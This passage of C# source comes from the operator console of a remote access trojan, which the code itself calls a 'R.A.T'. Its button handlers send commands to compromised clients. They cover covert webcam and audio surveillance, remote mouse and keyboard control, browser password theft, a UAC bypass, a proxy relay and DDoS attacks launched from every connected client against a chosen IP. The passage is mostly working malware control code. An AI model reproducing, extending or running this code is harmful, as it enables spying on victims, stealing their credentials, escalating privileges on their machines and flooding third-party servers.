btnFullScreenMode.Enabled = false; //Disable full screen button SendToTarget("rdstop"); //Send command to the client Application.DoEvents(); //Do the events System.Threading.Thread.Sleep(2000); //Wait for the client to stop checkBoxrMouse.Checked = false; //Disable remote mouse checkBoxrKeyboard.Checked = false; //Disable remote keyboard RDesktop = false; //Disable the remote desktop flag MultiRecv = AuStream || WStream; // Set the multi recv flag IsRdFull = false; //Disable the full screen flag sCore.UI.CommonControls.remoteDesktopPictureBox = null; //Remove the full screen picture box reference from the plugins try { pictureBox1.Image.Dispose(); //Dispose the current frame pictureBox1.Image = null; //Remove image references } catch { //Do nothing } if (rmoveTimer != null) //If mouse moving timer is not null { rmoveTimer.Stop(); //Stop the timer rmoveTimer.Dispose(); //Dispose the timer rmoveTimer = null; //Remove the references from the timer } if (Rdxref == null) return; //if we don't have a reference to the full screen return Rdxref.Close(); //Close the full screen Rdxref.Dispose(); //Dispose the fullscreen Rdxref = null; //Remove References from the form } /// /// Handle registering remote desktop mouse positioning /// /// The sender of the event /// The event args private async void pictureBox1_MouseMove(object sender, MouseEventArgs e) { if (mouseMovement == true) //if we can registre mouse events { Rectangle scr = Screen.PrimaryScreen.WorkingArea; //Get the screen size if (!IsRdFull) //If not full screen mode { scr = pictureBox1.DisplayRectangle; //Get the picturebox's size } try { int mx = (e.X * resx) / scr.Width; //Calculate remote MouseX coordinate int my = (e.Y * resy) / scr.Height; //Calculate remote MouseY coordinate if (rmouse == 1) //If we are allowed to move the mouse { if (plx != e.X || ply != e.Y) //Compare with the previous values and if mouse moved then { // TODO: post command from here, remove the timer rMoveCommands.Add($"rmove-{mx}:{my}"); //Add mouse movement to the command list plx = e.X; //Set the last X position to the current one ply = e.Y; //Set the last Y position to the current one mouseMovement = false; //Disable movement logging } //Wait for 200 ms await Task.Delay(200); //this should stop the spammings of send commands -move the coursor very slowly and it will lockup so i added this //Re enable mouse movement mouseMovement = true; //and this switch ,cant send again for 200 ms - it works perfectly i am happy with it :-) } } catch (Exception ex) { Console.WriteLine("mouse move rd error ERROR = " + ex.Message); //Debug Function } } } /// /// Execute stored mouse events /// /// The sender of the event /// The event args private void RMoveTickEventHandler(object sender, EventArgs e) { if (rmouse == 1) //If we are allowed to move the mouse { if (rMoveCommands.Count > 0) //If we have stored events { SendToTarget(rMoveCommands[rMoveCommands.Count - 1]); //Send the last stored event rMoveCommands.Clear(); //Clear the event list } } } /// /// Enable/Disable remote mouse /// /// The sender of the event /// The event args private void checkBoxrMouse_CheckedChanged(object sender, EventArgs e) { sCore.RAT.RemoteDesktop.SetMouseControl(hostToken, checkBoxrMouse.Checked); //Notify the plugins of the event if (checkBoxrMouse.Checked) //If enabled { rmoveTimer = new Timer { // rmoveTimer.Interval = 1000; //Set the update rate to the frame update rate Interval = FPS //now the mouse will move with the frame rate }; //Create a new timer rmoveTimer.Tick += new EventHandler(RMoveTickEventHandler); //Set the tick event handler rmoveTimer.Start(); //Start the timer rmouse = 1; //Allow mouse tracking } else //If disabled { rmouse = 0; //Disallow mouse tracking if (rmoveTimer != null) //if the timer is not null { //Stop the timer rmoveTimer.Stop(); //this threw an exception because it was already stopped rmoveTimer.Dispose(); //Dispose the timer rmoveTimer = null; //Remove timer references } } } /// /// Mosue Click Down Event Handler /// /// The sender of the event /// The event args private void pictureBox1_MouseDown(object sender, MouseEventArgs e) { if (rmouse == 1) //If remote mouse if enabled { if (e.Button == MouseButtons.Left) //If left button is clicked { SendToTarget("rclick-left-down"); //Send command to client } else //Right button is clicked { SendToTarget("rclick-right-down"); //Send command to client } } } /// /// Mouse Click Up Event Handler /// /// The sender of the event /// The event args private void pictureBox1_MouseUp(object sender, MouseEventArgs e) { // TODO: send the code of the click to avoid conversion at the client side if (rmouse == 1) //If remote mouse is enabled { if (e.Button == MouseButtons.Left) //If left button clicked { SendToTarget("rclick-left-up"); //Send command to client } else //If right button clicked { SendToTarget("rclick-right-up"); //Send command to client } } } /// /// Enable/Disable Remote keyboard /// /// The sender of the event /// The event args private void checkBoxrKeyboard_CheckedChanged(object sender, EventArgs e) { sCore.RAT.RemoteDesktop.SetKeyboardControl(hostToken, checkBoxrKeyboard.Checked); //Notify plugins of the event txtBControlKeyboard.Focus(); //Focus the textbox control if (checkBoxrKeyboard.Checked) //If enabled { rkeyboard = 1; //Allow remote keyboard } } /// /// Send the remote desktop session to full screen /// /// The sender of the event /// The event args private void btnFullRemoteScreen_Click(object sender, EventArgs e) { RDesktop full = new RDesktop(); //Create a new Remote Desktop Form full.Show(); //Show the form Rdxref = full; //Set the reference sCore.UI.CommonControls.remoteDesktopPictureBox = (PictureBox)full.Controls.Find("pictureBox1", true)[0]; //Set the remote desktop screen for plugins IsRdFull = true; //Set the full screen flag } /// /// List the installed audio devices on a remote client /// /// The sender of the event /// The event args private void button24_Click(object sender, EventArgs e) { SendToTarget("alist"); //Send the command to the client } /// /// Start/Stop audio stream on a remote client /// /// The sender of the event /// The event args private void button25_Click(object sender, EventArgs e) { if (listView4.SelectedItems.Count > 0) //If an item is selected { if (!AuStream) //If audio stream us not running { int deviceNumber = listView4.SelectedItems[0].Index; //Get the channel of the device MultiRecv = true; //Set the multiRecv flag since audio stream is a surveillance module AuStream = true; //Set the audio stream flag astream = new AudioStream(); //Create a new playback object astream.Init(); //Init the playback object SendToTarget("astream§" + deviceNumber.ToString()); //Send the command to the client button25.Text = "Stop Stream"; //Update UI } else //If audio stream is running { SendToTarget("astop"); //Send command to client //if (!RDesktop && !WStream) //If no remote desktop or web cam stream is running //{ // Application.DoEvents(); //Do the events // System.Threading.Thread.Sleep(1500); //Wait for the client to stop streaming // MultiRecv = false; //Set multiRecv to false since no surveillance stream is running //} MultiRecv = WStream || RDesktop; // Set the multiRecv flag AuStream = false; //Disable the audioStream flag astream.Destroy(); //Destroy the playback object astream = null; //Remvove references to the playback object button25.Text = "Start Stream"; //Update the UI } } } /// /// List web cam devices on a remote client /// /// The sender of the event /// The event args private void button26_Click(object sender, EventArgs e) { SendToTarget("wlist"); //Send the command to the client } /// /// Start/Stop streaming the web cam /// /// The sender of the event /// The event args private void button27_Click(object sender, EventArgs e) { if (!WStream && listView5.SelectedItems.Count > 0) //If an item is selected and web cam is not streaming { string id = listView5.SelectedItems[0].SubItems[0].Text; //Get the ID of the device string command = $"wstream§{id}"; //Construct the command MultiRecv = true; //Set the multiRecv flag since web cam is a surveillance stream WStream = true; //Set the web cam stream flag button27.Text = "Stop stream"; //Update the UI SendToTarget(command); //Send the command to the client return; //Return } else if (WStream) //If web cam is streaming { SendToTarget("wstop"); //Send the command to the client //if (!RDesktop && !AuStream) //If remote desktop and audio stream isn't running //{ // Application.DoEvents(); //Do the events // System.Threading.Thread.Sleep(1500); //Wait for the client to stop the stream // MultiRecv = false; //Disable the multiRecv flag since no surveillance stream is running //} MultiRecv = RDesktop || AuStream; WStream = false; //Disable the web cam stream flag button27.Text = "Start Stream"; //Update the UI } } /// /// Test if DDoS attack will will reach the target /// /// The sender of the event /// The event args private void button29_Click(object sender, EventArgs e) { if (textBox6.Text == "" || comboBox5.SelectedItem == null) return; //If no IP or no protocol is set then return TestDDoS(textBox6.Text, comboBox5.SelectedItem.ToString()); //Test the DDoS target } /// /// Start a DDoS attack against a remote server /// /// The sender of the event /// The event args private void button28_Click(object sender, EventArgs e) { bool isAllClient = checkBox3.Checked; //Attack with all connected clients? string ip = textBox6.Text; //The IP of the target string port = numericUpDown1.Value.ToString(); //The port to attack on string protocol = comboBox5.SelectedItem.ToString(); //The protocol to use string packetSize = numericUpDown2.Value.ToString(); //The size of each packet sent string threads = numericUpDown3.Value.ToString(); //How many threads to use per client string delay = numericUpDown4.Value.ToString(); //How much to wait before sending the next packet StartDDoS(ip, port, protocol, packetSize, threads, delay, isAllClient); //Start the Attack } /// /// Stop a started DDoS attack /// /// The sender of the event /// The event args private void button30_Click(object sender, EventArgs e) { const string command = "ddosk"; //Construct the command int count = 0; //Declare index variable foreach (Socket s in _clientSockets) //Go through all connected clients { SendCommand(command, count); //Send the command to the client count++; //Increment the index } label18.Text = "Status: DDoS Stopped for all clients!"; //Update the UI } /// /// Clear the password recovery list /// /// The sender of the event /// The event args private void button32_Click(object sender, EventArgs e) { listView6.Clear(); //Clear the list } /// /// Recover browser passwords on the remote client /// /// The sender of the event /// The event args private void button31_Click(object sender, EventArgs e) { SendToTarget("getpw"); //Get browser passwords on the remote client } /// /// Set the frame rate on a remote desktop session /// /// The sender of the event /// The event args private void trackBar1_Scroll(object sender, EventArgs e) { int value = trackBar1.Value; //Get the value of the trackBar lblQualityShow.Text = value.ToString(); //Update the UI //Decide quality and send it to the client if (value < 25) { lblQualityShow.Text += "(low)"; SendToTarget("fpslow"); } else if (value >= 75 && value <= 85) { lblQualityShow.Text += "(best)"; SendToTarget("fpsbest"); } else if (value >= 85) { lblQualityShow.Text += "(high)"; SendToTarget("fpshigh"); } else if (value >= 25) { lblQualityShow.Text += "(mid)"; SendToTarget("fpsmid"); } ActiveControl = pictureBox1; //Send focus to the pictureBox } /// /// Activate remote keyboard /// /// The sender of the event /// The event args private void pictureBox1_Click(object sender, EventArgs e) { txtBControlKeyboard.Focus(); //Focus the invisible textBox } /// /// Send keys to the remote client /// /// The sender of the event /// The event args private void txtBControlKeyboard_KeyDown(object sender, KeyEventArgs e) { if (rkeyboard == 1) //If we can control the keyboard { string keysToSend = ""; //Declare the keys to send //Handle the modifier keys if (e.Shift) keysToSend += "+"; if (e.Alt) keysToSend += "%"; if (e.Control) keysToSend += "^"; if (Console.CapsLock == true) //If CapsLock is enabled { if (e.KeyValue >= 65 && e.KeyValue <= 90) //If the keys fall in this range { keysToSend += e.KeyCode.ToString().ToLower(); //Convert them to lower case } } if (Console.CapsLock == false) //If CapsLock is disabled { if (e.KeyValue >= 65 && e.KeyValue <= 90) //If the keys fall in this range, convert them to upper case { keysToSend += e.KeyCode.ToString().ToUpper(); } } //Handle Special Characters if (e.KeyCode.ToString().Equals("Back")) keysToSend += ("{BS}"); else if (e.KeyCode.ToString().Equals("Pause")) keysToSend += ("{BREAK}"); else if (e.KeyCode.ToString().Equals("Capital")) keysToSend += ("{CAPSLOCK}"); else if (e.KeyCode.ToString().Equals("Space")) keysToSend += (" "); else if (e.KeyCode.ToString().Equals("Home")) keysToSend += ("{HOME}"); else if (e.KeyCode.ToString().Equals("Return")) keysToSend += ("{ENTER}"); else if (e.KeyCode.ToString().Equals("End")) keysToSend += ("{END}"); else if (e.KeyCode.ToString().Equals("Tab")) keysToSend += ("{TAB}"); else if (e.KeyCode.ToString().Equals("Escape")) keysToSend += ("{ESC}"); else if (e.KeyCode.ToString().Equals("Insert")) keysToSend += ("{INS}"); else if (e.KeyCode.ToString().Equals("Up")) keysToSend += ("{UP}"); else if (e.KeyCode.ToString().Equals("Down")) keysToSend += ("{DOWN}"); else if (e.KeyCode.ToString().Equals("Left")) keysToSend += ("{LEFT}"); else if (e.KeyCode.ToString().Equals("Right")) keysToSend += ("{RIGHT}"); else if (e.KeyCode.ToString().Equals("PageUp")) keysToSend += ("{PGUP}"); else if (e.KeyCode.ToString().Equals("Next")) keysToSend += ("{PGDN}"); else if (e.KeyCode.ToString().Equals("Tab")) keysToSend += ("{TAB}"); else if (e.KeyCode.ToString().Equals("D1")) keysToSend += "1"; else if (e.KeyCode.ToString().Equals("D2")) keysToSend += "2"; else if (e.KeyCode.ToString().Equals("D3")) keysToSend += "3"; else if (e.KeyCode.ToString().Equals("D4")) keysToSend += "4"; else if (e.KeyCode.ToString().Equals("D5")) keysToSend += "5"; else if (e.KeyCode.ToString().Equals("D6")) keysToSend += "6"; else if (e.KeyCode.ToString().Equals("D7")) keysToSend += "7"; else if (e.KeyCode.ToString().Equals("D8")) keysToSend += "8"; else if (e.KeyCode.ToString().Equals("D9")) keysToSend += "9"; else if (e.KeyCode.ToString().Equals("D0")) keysToSend += "0"; else if (e.KeyCode.ToString().Equals("F1")) keysToSend += "{F1}"; else if (e.KeyCode.ToString().Equals("F2")) keysToSend += "{F2}"; else if (e.KeyCode.ToString().Equals("F3")) keysToSend += "{F3}"; else if (e.KeyCode.ToString().Equals("F4")) keysToSend += "{F4}"; else if (e.KeyCode.ToString().Equals("F5")) keysToSend += "{F5}"; else if (e.KeyCode.ToString().Equals("F6")) keysToSend += "{F6}"; else if (e.KeyCode.ToString().Equals("F7")) keysToSend += "{F7}"; else if (e.KeyCode.ToString().Equals("F8")) keysToSend += "{F8}"; else if (e.KeyCode.ToString().Equals("F9")) keysToSend += "{F9}"; else if (e.KeyCode.ToString().Equals("F10")) keysToSend += "{F10}"; else if (e.KeyCode.ToString().Equals("F11")) keysToSend += "{F11}"; else if (e.KeyCode.ToString().Equals("F12")) keysToSend += "{F12}"; else if (e.KeyValue == 186) keysToSend += "{;}"; else if (e.KeyValue == 222) keysToSend += "'"; else if (e.KeyValue == 191) keysToSend += "/"; else if (e.KeyValue == 190) keysToSend += "."; else if (e.KeyValue == 188) keysToSend += ","; else if (e.KeyValue == 219) keysToSend += "{[}"; else if (e.KeyValue == 221) keysToSend += "{]}"; else if (e.KeyValue == 220) keysToSend += "\\"; else if (e.KeyValue == 187) keysToSend += "{=}"; else if (e.KeyValue == 189) keysToSend += "{-}"; else if (e.KeyValue == 233) keysToSend += "é"; else if (e.KeyValue == 225) keysToSend += "á"; else if (e.KeyValue == 369) keysToSend += "ű"; else if (e.KeyValue == 337) keysToSend += "ő"; else if (e.KeyValue == 250) keysToSend += "ú"; else if (e.KeyValue == 246) keysToSend += "ö"; else if (e.KeyValue == 252) keysToSend += "ü"; else if (e.KeyValue == 243) keysToSend += "ó"; SendToTarget($"rtype-{keysToSend}"); } txtBControlKeyboard.Clear(); //Clear the control } /// /// Start a task manager on the remote system /// /// The sender of the event /// The event args private void btnStartTaskManager_Click(object sender, EventArgs e) { SendToTarget("tskmgr"); //Send the command to the client } /// /// Get the screen count of the remote client /// /// The sender of the event /// The event args private void btnCountScreens_Click(object sender, EventArgs e) { cmboChooseScreen.Items.Clear(); //Clear the current items SendToTarget("countScreens"); //Send the command to the client } /// /// Handles when a client is selected /// /// The sender of the event /// The event args private void listView1_SelectedIndexChanged(object sender, EventArgs e) { //Declare info vars string clientType = ""; if (listView1.SelectedItems.Count == 0) //If no item is selected { label2.Text = "Client Info"; //Update the UI return; //Return } string strClient = listView1.SelectedItems[0].SubItems[0].Text; //Get the selected client's ID strClient = strClient.Replace("Client ", string.Empty); //Remove the client part int clientID = int.Parse(strClient); //Parse the ID to an integer if (lcm != null) //If linux client manager is enabled { if (lcm.IsLinuxClient(clientID)) clientType = "Linux Client"; //Is it's a linux client update the UI else clientType = "Windows Client"; //It's a windows client, update the UI } //Write data to label2 (Client Information) label2.Text = $"Client Type: {clientType}"; } /// /// Bypass the UAC on the remote client /// /// The sender of the event /// The event args private void button33_Click(object sender, EventArgs e) { SendToTarget("uacbypass"); //Send the command to the client } /// /// Start the proxyServer on a remote client /// /// The sender of the event /// The event args private void button34_Click(object sender, EventArgs e) { const string cmd = "startipc§tut_client_proxy"; //Construct the command RemotePipe rp = new RemotePipe("tut_client_proxy", this); //Create a new remote pipe SendToTarget(cmd); //Send the command oto the client sCore.RAT.ExternalApps.AddIPCConnection(hostToken, new KeyValuePair("tut_client_proxy", rp.outputBox)); //Broadcast the IPC connection to the plugins rp.Show(); //Start the remote pipe rPipeList.Add(rp); //Add the pipe to the list } /// /// Handles when a plugin is selected /// /// The sender of the event /// The event args private void listBox1_SelectedIndexChanged(object sender, EventArgs e) { if (listBox1.SelectedItem != null) //If an item is selected { string plugin = listBox1.SelectedItem.ToString(); //Get the name of the plugin IPluginMain pInfo = sh.GetPluginInfo(plugin); //Get the plugin information label29.Text = $"Name: {pInfo.ScriptName}"; //Set the name label30.Text = $"Version: {pInfo.Scriptversion}"; //Set the version label31.Text = $"Author: {pInfo.AuthorName}" + pInfo.AuthorName; //Set the author's name label32.Text = $"Description: {pInfo.ScriptDescription}"; //Set the description comboBox6.Items.Clear(); //Clear the permission box foreach (Permissions p in pInfo.ScriptPermissions) //Go through the permissions { comboBox6.Items.Add(p.ToString()); //Add the permission to the list } if (comboBox6.Items.Count > 0) comboBox6.SelectedIndex = 0; //Select the first item is it's not empty } else //No item selected { label29.Text = "Name: "; //Set the name label30.Text = "Version: "; //Set the version label31.Text = "Author: "; //Set the author label33.Text = "Description: "; //Set the description comboBox6.Items.Clear(); //Clear the permission list } } /// /// Execute a plugin /// /// The sender of the event /// The event args private void button37_Click(object sender, EventArgs e) { if (listBox1.SelectedItem != null) //If a plugin is seleted { //sh.ExecuteScript(listBox1.SelectedItem.ToString()); sh.ExecuteDll(listBox1.SelectedItem.ToString()); //Execute the plugin } else //No plugin selected { MessageBox.Show(this, "Script can't be executed", "No script selected"); //Notify the user } } /// /// Refresh the plugin list /// /// The sender of the event /// The event args private void button38_Click(object sender, EventArgs e) { // TODO: i'm sure we can somehow reload the list without interfering with running plugins if (sh.runningPlugins.Count > 0) { MessageBox.Show(this, "There are running plugins, you can't currently refresh the plugin list", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); return; } listBox1.Items.Clear(); //Clear the plugin list sh.LoadDllFiles(); //Reload the plugin files //Update the information UI parts label29.Text = "Name: "; label30.Text = "Version: "; label32.Text = "Description: "; label31.Text = "Author: "; comboBox6.Items.Clear(); comboBox6.Text = ""; } /// /// Remove a plugin from the R.A.T /// /// The sender of the event /// The event args private void button36_Click(object sender, EventArgs e) { if (listBox1.SelectedItem != null) //If an item is seleted { // TODO: Should implement this to ScriptHost itself! string scriptName = listBox1.SelectedItem.ToString(); //Get the plugin's file name //if (sh.IsPluginRunning(scriptName)) //Stop plugin File.Delete(Application.StartupPath + "\\scripts\\" + scriptName); //Delete the plugin button38_Click(null, null); //Click the refresh button } else //No plugin selected { MessageBox.Show(this, "No plugin selected", "Error!", MessageBoxButtons.OK, MessageBoxIcon.Error); //Notify the user } } /// /// Import a plugin file /// /// The sender of the event /// The event args private void button35_Click(object sender, EventArgs e) { //Should implement this in ScriptHost OpenFileDialog ofd = new OpenFileDialog { Title = "Please Select A Valid Dll Pluing File", //Set the title of the dialog DefaultExt = "Plugin Files (*.dll)|*.dll" //Set the file extension filter to dll files }; //Display a file chooser dialog if (ofd.ShowDialog() == DialogResult.OK) //If the user selected the file { if (File.Exists(ofd.FileName)) //If the selected file exists { File.Copy(ofd.FileName, Application.StartupPath + "\\scripts\\" + new FileInfo(ofd.FileName).Name); //Copy the file to the plugin folder button38_Click(null, null); //Click the button } else //Invalid file selected { MessageBox.Show(this, "Selected File doesn't exist", "Error!", MessageBoxButtons.OK, MessageBoxIcon.Error); //Notify the user } } } /// /// Start UAC bypass auto download on a remote client /// /// The sender of the event /// The event args private void button20_Click(object sender, EventArgs e) { #if EnableAutoLoad SendToTarget("uacload"); //Send the command to the client progressBar1.Show(); //Show the progressbar label36.Show(); //Show the status label label36.Text = "0%"; //Set the label to 0% #endif } /// /// Probe system startup methods /// /// The sender of the event /// The event args private void button23_Click(object sender, EventArgs e) { if (comboBox7.SelectedItem == null) //If a no method selected { Msgbox("Error!", "No probing method selected!\r\nPlease select one!", MessageBoxButtons.OK, MessageBoxIcon.Error); //Notify the user return; //Return } SendToTarget($"sprobe§{comboBox7.SelectedItem}"); //Send the command to the client } /// /// Stop a plugin from running /// /// The sender of the event /// The event args private void button39_Click(object sender, EventArgs e) { if (listBox1.SelectedItem == null) //Check if nothing is selected { MessageBox.Show(this, "Please select a plugin to stop", "Stop Plugin", MessageBoxButtons.OK, MessageBoxIcon.Warning); //Notify the user return; //Return } string plugin = listBox1.SelectedItem.ToString(); //Get the name of the plugin if (sh.IsPluginRunning(plugin)) //Check if the plugin is running { sh.StopSignalPlugin(sh.ifaceList[plugin]); //Send stop signal to the plugin MessageBox.Show(this, "Stop signal sent to plugin, it will finish up and close it's threads... This may take a while", "Plugin Stop", MessageBoxButtons.OK, MessageBoxIcon.Information); //Notify the user } } #endregion } #region Outer Classes /// /// Audio playback class /// public class AudioStream { /// /// Audio Stream provider /// NAudio.Wave.BufferedWaveProvider provider; /// /// Audio stream player /// NAudio.Wave.WaveOut waveOut; /// /// Init audio stream playing /// public void Init() { provider = new NAudio.Wave.BufferedWaveProvider(new NAudio.Wave.WaveFormat()); //Setup the provider waveOut = new NAudio.Wave.WaveOut(); //Setup the player waveOut.Init(provider); //Bind the player to the provider waveOut.Play(); //Start playing incoming data with the player } /// /// Send audio to the playback device /// /// The audio buffer to play public void BufferPlay(byte[] recv) { provider.AddSamples(recv, 0, recv.Length); //Feed the buffer to the provider recv = null; //Remove references to the buffer } /// /// Release audio playing object /// public void Destroy() { waveOut.Stop(); //Stop playing the audio provider.ClearBuffer(); //Clear the audio buffer waveOut.Dispose(); //Dispose the player waveOut = null; //Remove references to the player provider = null; //Remove references to the provider } } /// /// Provides functionality to use tabpages as small forms /// public class RouteWindow { /// /// The page we will route /// public TabPage page; /// /// A list of control names disabled to setvalue (this is used to prevent looping setvalue directives) /// private List disableWrite = new List(); /// /// Reference to the created form /// private Form currentRoute = new Form(); //private TabPage orgBackup = new TabPage(); /// /// Copy tab page to a form /// public void RoutePage() { if (page == null) return; //If no page routed return Control.ControlCollection controls = page.Controls; //Get the page controls Form route = new Form { Size = page.Parent.Size, //Get the size of the form Text = "RouteWindow[" + (Form1.routeWindow.Count + 1).ToString() + "] " + page.Text, //Set the form title WindowState = FormWindowState.Normal, //Set the form window state FormBorderStyle = FormBorderStyle.FixedToolWindow, //Set the form's border style BackColor = SystemColors.Window //Set the form's background color }; //Create the new routed form String assignContextMenu = ""; ContextMenuStrip cloneCMS = new ContextMenuStrip(); foreach (Control c in controls) //Loop through the controls { String name = c.Name; //Get the name of the control String type = GetControlType(name); //Get the type of the control Control add; if (type == "") continue; //If invalid type found, then skip it switch (type) //Switch type { case "label": //If control is a label Label l = new Label(); //Create a new label Label reference = (Label)c; //Cast the original label l.Location = c.Location; //Copy the location l.Font = c.Font; //Copy the font settings l.BackColor = c.BackColor; //Copy the back color l.Text = c.Text; //Copy the text l.Name = c.Name; //Copy the name l.ForeColor = c.ForeColor; //Copy the text color l.AutoSize = reference.AutoSize; //Copy the autoSize property add = l; //Set the control to add route.Controls.Add(l); //Add the label to the form break; //Break the switch case "button": //If control is a button Button b = new Button(); //Create a new button Button bref = c as Button; //Cast the original button b.Text = bref.Text; //Set the text b.Location = bref.Location; //Set the location b.Size = bref.Size; //Set the size b.AutoSize = bref.AutoSize; //Set the autoSize b.BackColor = bref.BackColor; //Set the background color b.ForeColor = bref.ForeColor; //Set the text color b.UseVisualStyleBackColor = bref.UseVisualStyleBackColor; //Set the visual style background color property b.Click += new EventHandler(OnClick); //Add the click event handler b.Name = bref.Name; //Set the name route.Controls.Add(b); //Add the button to the form break; //Break the switch case "comboBox": //Control is a combobox ComboBox cb = new ComboBox(); //Create a new combobox ComboBox cref = (ComboBox)c; //Cast the original combobox cb.Text = cref.Text; //Set the text cb.Name = cref.Name; //Set the name cb.Location = cref.Location; //Set the location cb.Size = cref.Size; //Set the size cb.SelectedItem = cref.SelectedItem; //Set the selected item foreach (Object item in cref.Items) //Copy every item { cb.Items.Add(item); //Add the item to the new combobox } cb.ForeColor = cref.ForeColor; //Set the text color cb.BackColor = cref.BackColor; //Set the background color cb.SelectedIndex = cref.SelectedIndex; //Set the selected item's index cb.Font = cref.Font; //Set the font settings cb.SelectedValueChanged += new EventHandler(OnItemChange); //Add a value changed event handler route.Controls.Add(cb); //Add the combobox to the form break; //Break the switch case "richTextBox": //If it's a richTextBox control RichTextBox rtb = new RichTextBox(); //Create a new richTextBox RichTextBox rref = (RichTextBox)c; //Cast the original richTextBox rtb.Name = rref.Name; //Set the name rtb.Text = rref.Text; //Set the text rtb.BackColor = rref.BackColor; //Set the background color rtb.ForeColor = rref.ForeColor; //Set the text color rtb.Location = rref.Location; //Set the location rtb.Size = rref.Size; //Set the size rtb.WordWrap = rref.WordWrap; //Set the word wrap property rtb.Font = rref.Font; //Set the font settings rtb.TextChanged += new EventHandler(OnTextChange); //Add a text changed event handler route.Controls.Add(rtb); //Add the richTextBox to the form break; //Break the swithc case "textBox": //Control is a textBox TextBox t = new TextBox(); //Create a new textBox TextBox tref = (TextBox)c; //Csat the original textBox t.Name = tref.Name; //Set the name t.Text = tref.Text; //Set the text t.BackColor = tref.BackColor; //Set the background color t.ForeColor = tref.ForeColor; //Set the textColor t.Location = tref.Location; //Set the location t.Size = tref.Size; //Set the size t.TextChanged += new EventHandler(OnTextChange); //Add a text changed event handler t.KeyDown += new KeyEventHandler(OnKeyDown); //Add a key down event handler t.Font = tref.Font; //Set the font settings t.UseSystemPasswordChar = tref.UseSystemPasswordChar; //Set the use of password character t.PasswordChar = tref.PasswordChar; //Set the password character if (tref.Tag != null) t.Tag = "route" + (Form1.routeWindow.Count + 1).ToString() + ".register." + tref.Tag.ToString(); //Set the tag route.Controls.Add(t); //Add the textBox to the form break; //Break the switch case "listView": //Control is a listView ListView lv = new ListView(); //Create a new listView ListView lref = (ListView)c; //Cast the original listView lv.Name = lref.Name; //Set the name lv.View = lref.View; //Set the view lv.BackColor = lref.BackColor; //Set the background color lv.ForeColor = lref.ForeColor; //Set the text color lv.Location = lref.Location; //Set the location lv.Size = lref.Size; //Set the size lv.FullRowSelect = lref.FullRowSelect; //Set the full row selected property lv.GridLines = lref.GridLines; //Set the grid lines property if (lref.ContextMenuStrip != null) //If the listView has a context menu strip { assignContextMenu = lv.Name; //Set the assign context menu name cloneCMS = lref.ContextMenuStrip; //Set the context menu to copy } foreach (ColumnHeader ch in lref.Columns) //Go through the columns { ColumnHeader header = new ColumnHeader { DisplayIndex = ch.DisplayIndex, //Set the display index Name = ch.Name, //Set the name Text = ch.Text, //Set the text Width = ch.Width //Set the width }; //Create a new column header lv.Columns.Add(header); //Add the column to the new listView } foreach (ListViewItem i in lref.Items) //Go through the items { ListViewItem lvi = new ListViewItem { BackColor = i.BackColor, //Set the background color Focused = i.Focused, //Set the focused state Font = i.Font, //Set the font settings ForeColor = i.ForeColor, //Set the text color Name = i.Name, //Set the name Text = i.Text, //Set the text Selected = i.Selected //Set if the item is selected }; //Create a new listView item foreach (ListViewItem.ListViewSubItem si in i.SubItems) //Go through the subitems { ListViewItem.ListViewSubItem sitem = new ListViewItem.ListViewSubItem { BackColor = si.BackColor, //Set the background color Font = si.Font, //Set the font settings ForeColor = si.ForeColor, //Set the text color Name = si.Name, //Set the name Text = si.Text //Set the text }; //Create a new subitem lvi.SubItems.Add(sitem); //Add the subitem to the current item } lv.Items.Add(lvi); //Add the current item to the listView } lv.SelectedIndexChanged += new EventHandler(OnIndexChange); //Add the selected index changed event handler lv.Font = lref.Font; //Set the font settings route.Controls.Add(lv); //Add the listView to the form break; //Break the switch case "checkBox": //Control is a checkBox CheckBox cx = new CheckBox(); //Create a new checkBox CheckBox xref = (CheckBox)c; //Cast the original checkBox cx.Text = xref.Text; //Set the text cx.Name = xref.Name; //Set the name cx.Checked = xref.Checked; //Set the checked state cx.ForeColor = xref.ForeColor; //Set the text color cx.BackColor = xref.BackColor; //Set the background color cx.Location = xref.Location; //Set the location cx.AutoSize = xref.AutoSize; //Set the autoSize property cx.Size = xref.Size; //Set the size cx.Font = xref.Font; //Set the font settings cx.CheckedChanged += new EventHandler(OnCheck); //Add a checked changed event handler route.Controls.Add(cx); //Add the checkBox to the form break; //Break the switch case "pictureBox": //Control is a pictureBox PictureBox pb = new PictureBox(); //Create a new pictureBox PictureBox pref = (PictureBox)c; //Cast the original pictureBox pb.Name = pref.Name; //Set the name pb.Size = pref.Size; //Set the size pb.SizeMode = pref.SizeMode; //Set the image's size mode pb.Image = pref.Image; //Set the image pb.Location = pref.Location; //Set the location pb.BackColor = pref.BackColor; //Set the background color pb.Tag = "route" + (Form1.routeWindow.Count + 1).ToString() + ".register." + pref.Tag.ToString(); //Set the tag if (pref.Tag.ToString() == "rdesktop") Form1.rdRouteUpdate = pb.Tag.ToString(); //Set the remoteDesktop update tag if (pref.Tag.ToString() == "wcstream") Form1.wcRouteUpdate = pb.Tag.ToString(); //Set the web cam update tag route.Controls.Add(pb); //Add the picture box to the form break; //Break the switch } } //Controls are added at this Point route.Show(); //Show the newly created form route.FormClosing += new FormClosingEventHandler(OnRouteDestroy); //Assign a closing event handler Form1.routeWindow.Add(route); //Add the window to the list if (assignContextMenu != "") //If we need to assign a context menu { Control acms = route.Controls.Find(assignContextMenu, false)[0]; //Find the parent listView of the contextMenu ContextMenuStrip copyCMS = new ContextMenuStrip { AutoSize = cloneCMS.AutoSize, //Set the autoSize property Font = cloneCMS.Font, //Set the font settings BackColor = cloneCMS.BackColor, //Set the backgroung color ForeColor = cloneCMS.ForeColor, //Set the text color Name = cloneCMS.Name, //Set the name Size = cloneCMS.Size, //Set the size Text = cloneCMS.Text //Set the text }; //Create a new context menu strip foreach (ToolStripItem i in cloneCMS.Items) //Go through the toolStripItems { copyCMS.Items.Add(i.Text, i.Image, OnClick); //Add the items to the new CMS } int track = 0; //Declare index variable foreach (ToolStripItem i in copyCMS.Items) //Go through the items { i.BackColor = SystemColors.Window; //Set the background color i.Name = cloneCMS.Items[track].Name; //Set the name track++; //Increment the index; } //route.Controls.Add(copyCMS); acms.ContextMenuStrip = copyCMS; //Set the CMS of the listView } Timer update = new Timer { Interval = 100 //Set the frequency to 100 ms }; //Create a new timer object update.Tick += new EventHandler(UpdateUI); //Set the tick event handler currentRoute = route; //Set a self reference update.Start(); //Start the timer } /// /// TextBox keydown event handler /// /// The sender of the event /// The event args private void OnKeyDown(object sender, KeyEventArgs e) { if (e.KeyCode == Keys.Return && Form1.IsCmdStarted) //If eneter is pressed and remote cmd is started { TextBox me = sender as TextBox; //Get the caller of the event if 